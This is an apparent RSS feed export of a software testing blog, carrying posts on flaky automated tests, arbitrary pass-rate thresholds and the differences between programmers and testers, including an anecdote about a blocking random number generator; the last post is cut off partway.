tag:blogger.com,1999:blog-7222462746492540485Thu, 08 Dec 2016 12:31:16 +0000testingautomationexploratory testingtoolsagilebiasquestioningsecuritybug reportsregression testingScientific Methodlearningpre-scripted testingrandomunicodeheuristicsinvestigationbreaking thingsclockguardianstandardssystemvideovulnerabilityfishinggooglemissingprogrammerpsychologyregulationrubyscrumselection randomnesstrickswarfareAppleanchoring biasbeliefbingcommentsconformation biascontrolcritical thinkingexerciseexperimentgtacheurismhindsighthomeopathyhorologyhumanillusionjustkanbanmapmistakequackrecordsregressionserendipityskepticstrangersurvivorshiptablettacticstimeunexpectedwitnessinvestigating softwarehttp://www.investigatingsoftware.co.uk/noreply@blogger.com (Pete Houghton)Blogger57125tag:blogger.com,1999:blog-7222462746492540485.post-8207078742490883994Thu, 10 Nov 2016 08:06:00 +00002016-11-10T00:49:20.304-08:00automationinvestigationquestioningregression testingBeing a square keeps you from going around in circles.<div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">After a weary few hours sorting through, re-running and manually double checking the "automated test" results, the team decide they need to "run the tests again!", that's a problem to the team. Why? because they are too slow. The 'test' runs take too long and they won't have the results until tomorrow.</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">How does our team intend to fix the problem? ... make the tests run faster. Maybe use a new framework, get better hardware or some other cool trick.</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">The team get busy, update the test tools and soon find them selves in a similar position. Now of course they need to rewrite them in language X or using a new [A-Z]+DD methodology. I can't believe you are still using technology Z , Luddites!</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">Updating your tooling, and using a methodology appropriate to your context makes sense and should be factored into your workflow and estimates. But the above approach to solving the problem, starts with the wrong problem. As such, its not likely to find the right answers</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">.</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">The team are spending hours unpicking the test results. The results can't be trusted and need to be rerun or manually reviewed. They are the problems. Until you address the reliability, accuracy and precision of the automated checks they will always be a major source of failure demand</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">That dream of freeing up the team to move quicker or let the testers do more exploratory or security focused testing will remain a dream - while the team spend excessive time picking through the bones of your test results.</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">Your "automated tests" are a measuring tool. They help you measure the quality of your app. Imagine if your ruler reported a different length every 3rd time you used it! You'd blame the ruler and build or buy a better ruler. Rather than bemoan the time is takes to get an accurate measurement - while re-measuring objects to get "best of three!".</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">Try fixing or just disabling the flaky tests. Test your automated tests. Don't "create a failing test then see it pass" - investigate whether it was failing for the right reasons and then passing for the right reasons. Speak to your team mates e.g.: "How can I create Problem X realistically to check that my tests pick it up reliably?"</span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;"><br /></span></div><div><span style="font-family: arial, helvetica, sans-serif; font-size: large;">Do you hear these sort of conversations in your team? If so, then your team might need some coaching.</span></div><div><br /></div>http://www.investigatingsoftware.co.uk/2016/11/being-square-keeps-you-from-going.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-7550479281655427964Mon, 17 Oct 2016 06:39:00 +00002016-10-16T23:39:50.243-07:00automationregression testingscrumA Good Run!<b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"></b><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “We got a good run from the tests” the tester stated.</span></b></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “So what’s the story?” the scrum master asked.</span></b></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “85% Pass” comes the reply, meekly.</span></b></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “OK, just need to fix that 5% then.” The scrum master announces before striding off to announce that the team is only a couple of % away from success.</span></b></div><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Our tester takes a moment to try and process the exchange…</span></div><br /><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><i>Firstly</i>, their own words:</span></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “We got a good run”</span></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Why had </span></b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">they </span><b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">said that? Well - in a </span></b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sense </span><b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b>-</b> it was true. They had executed the <i>tests </i>before, and they had returned a much higher failure rate. But the code being </span></b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">checked </span><b><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">was the same... </span></b></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">OK, so there were at least 3 obvious ways to interpret the data.</span></div><ol style="margin-bottom: 0pt; margin-top: 0pt;"><li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The app code meets the criteria checked by the tests. ( Based on test run 2 )</span></div></li><li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The app code does not meet the criteria checked by the tests. ( Based on test run 1 )</span></div></li><li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The tests are as reliable a the toss of the coin. ( Based on both test runs )</span></div></li></ol><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Its surprising how unlikely people are to choose (3).</span></div><br /><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><i>Secondly</i>, the scrum master’s words:</span></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “just need to fix that 5%”</span></div><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Our tester assumes this relates to the de<b>-</b>facto “threshold” that is usually considered as <i>good enough </i>to release. As if the results were a linear scale, such as height or weight. If your code gets over 90% then it gets to pass the gate and get on the release roller-coaster.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The threshold tends to be arbitrary, I worked with a client that thought 86% was good but 83% was just not fit for purpose! Their </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">use </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tends to indicate a problem. Why are we caring about a number rather than a possibly broken feature? What features or risks do the failing 10% represent? Why do we have so many routine failures?</span></div></b><b id="docs-internal-guid-9b86aa55-d152-d7d9-5df2-fe9c3de2aff5" style="font-weight: normal;"><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Do you hear these sort of conversations in your team? If so, then your team might need some coaching.</span></div></b>http://www.investigatingsoftware.co.uk/2016/10/a-good-run.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-1598441910924683639Mon, 10 Oct 2016 07:01:00 +00002016-11-10T00:38:08.457-08:00programmerpsychologyProgrammers & Testers, two roles divided by a common skill-set.<div dir="ltr" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><b><span style="font-weight: normal;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">When we switch people from programming to testing and vice versa may reduce the quality of our software. </span></span></b></div><span id="m_4924655572887813419gmail-docs-internal-guid-56b2f012-ad62-c537-1d5f-cc4ce68d77b0" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><br /></span><span style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; display: inline !important; float: none; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"></span><br style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;" /><div dir="ltr" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span id="m_4924655572887813419gmail-docs-internal-guid-56b2f012-ad62-c537-1d5f-cc4ce68d77b0"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">I’ll get some quick objections out of the way:</span></span></div><span id="m_4924655572887813419gmail-docs-internal-guid-56b2f012-ad62-c537-1d5f-cc4ce68d77b0" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"></span><span style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; display: inline !important; float: none; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"></span><ol style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; margin-bottom: 0pt; margin-top: 0pt; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span id="m_4924655572887813419gmail-docs-internal-guid-56b2f012-ad62-c537-1d5f-cc4ce68d77b0"><li dir="ltr" style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; list-style-type: decimal; margin-left: 15px; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">But, A person can be a great tester and programmer.</span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"> &nbsp;- Yes I agree.</span></div></li><li dir="ltr" style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; list-style-type: decimal; margin-left: 15px; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">But, Programmers do a lot of good testing.</span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"> - Yes I agree.</span></div></li></span></ol><span id="m_4924655572887813419gmail-docs-internal-guid-56b2f012-ad62-c537-1d5f-cc4ce68d77b0" style="-webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 12.8px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">None of the above are in conflict with my conjecture.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">Programming </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">or writing software automates things that would be expensive or hard to do otherwise. Our software </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">might </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">also be faster or less error prone at doing whatever it replaces. It may achieve or enable something that couldn't be done before the software was employed. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Writing software involves overcoming and working around constraints to achieve improvement. That is, looking for ways to bypass limitations imposed by external factors or limitations in the tools we use. For example, coping with a high latency internet connection, legacy code or poor quality inputs. A programmer might </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">say </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">they were taking advantage of the technologies’ features to create a faster/more-stable system. A skilled and experienced programmer has learnt to deal with complexity and produce reliable and effective software. That's why we hire them.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">A good example might be WhatsApp. Similar messaging systems existed before WhatsApp. But WhatsApp brought together the platform (mobile iOS &amp; Android), cost (free at point of use), security (e2e encryption) and ease of use that people wanted. These features were tied together and the complexities and niggles were smoothed over. For example, skilled programmers automated address book integration and secure messaging instead of a user having to try and use multiple apps to achieve the same.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">But the complexities or constraints are often </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">leads </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">to bugs. Leads that are easy to not fully appreciate. The </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">builder's </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">approach: It does </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">that </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">so I need to do </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">this </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">- can override the more </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">investigative </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">approach of - Puzzling over what does a systems apparent behaviour means about its underlying algorithm or supporting libraries? A good tester hypothesizes about what behaviours might be possible from the software. For example: Could we get the app to do an unwanted thing or the right thing at wrong time?</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Alternatively a tester may observe the software in action, but bear in mind that certain symptoms may be caused by the constraints within the software or its construction. The psychological ‘priming’ can make them more likely to spot such issues during the course of their examination of the app.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">A common response at this point in the debate is, “The person writing the app/automated tests/etc would be able to read the code and see directly what the algorithm is!” But, that argument is flawed for 2 main reasons:</span></div><br /><ol style="margin-bottom: 0pt; margin-top: 0pt;"><li dir="ltr" style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; list-style-type: decimal; margin-left: 15px; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Many testers can read and write good code. This sort of investigation is and always has been an option - whether we are currently implementing the app or an ‘automated test’ or neither. The argument is often a straw man suggesting that </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">all </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">testers can not write (and therefore can’t </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">read </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">) code.</span></div></li><li dir="ltr" style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; list-style-type: decimal; margin-left: 15px; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">In a system of any reasonable complexity, there are situations where it’s easier to ascertain a system’s </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">actual </span><span style="background-color: transparent; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">behaviour empirically. An attempt to judge its behaviour by purely examining the code is likely to miss a myriad of bugs caused by 3rd party libraries, environmental issues &nbsp;and a mish-mash of different programmers work.</span></div></li></ol><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">For example...</span></div><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 21.3333px; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Programmers:</span></h2><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Programmers can and do - test their own and colleagues code. They do so as programmers, focused on those very difficult constraints. One of the key constraints is time. Not just, can the code handle time zones etc. But, how long do I have to implement this? What can I achieve in that time? Can I refactor that dodgy library code? Or do I just ‘treat it as good’? Time and the other constraints guide the programmer down a different testing road. Their rationed time leads them to focus on what can be delivered. Their focus is on whether their code met the criteria in the </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">ticket </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">given the complexities that they had to overcome.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">A classic symptom of this is the congruence bias, programmers implement code and tests that ascertain whether the system is functioning as they expect. That’s good. That can tell us the app </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">can </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">achieve what was intended. A good example might be random number generation. A team might be assigned to produce an API that provides a <i>randomiser </i>for other parts of the app. The team had been told the output needed to be </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">securely </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">random. That is </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">very </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">random. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">The team, Knowing about such things use their operating system’s built in features to generate the numbers. (For example on Linux that might be </span><span style="color: #252525; font-family: verdana; font-size: 14px; vertical-align: baseline; white-space: pre-wrap;">/dev/random</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"> ). Being belt and braces kind of people, they would implement some unit tests that would perform a statistical analysis of their function. This would likely pass with every build once they had fixed the usual minor bugs and all would be good. </span></div><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 21.3333px; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Testers:</span></h2><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Luckily for the above team, they had a tester. That tester loved a challenge. Of course she checked the randomness of the system, and yes that looked OK. She also checked the code in conjunction with other systems, and again the system worked OK. The tester also checked if the code fast enough, and once again the system was fine. The tester then set up a test system with a high load. Boom. The log was full of timeout errors, performance was </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">now </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">atrocious and she knew she had struck gold. A little investigation would show that some operating system random number generators are ‘blocking’. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">A blocking algorithm will cause subsequent requests to be queued (‘blocked’) until its predecessor has finished. Even if the algorithm is </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">fast</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">, there will be a tipping point when suddenly more requests are coming in than can be serviced. At that point the number of successful requests (per </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">second</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">, for example) will cease to keep up with demand. Typically we might expect a graph of the requests being effectively handled by our system to show a plateau at this point. </span></div><br /><div 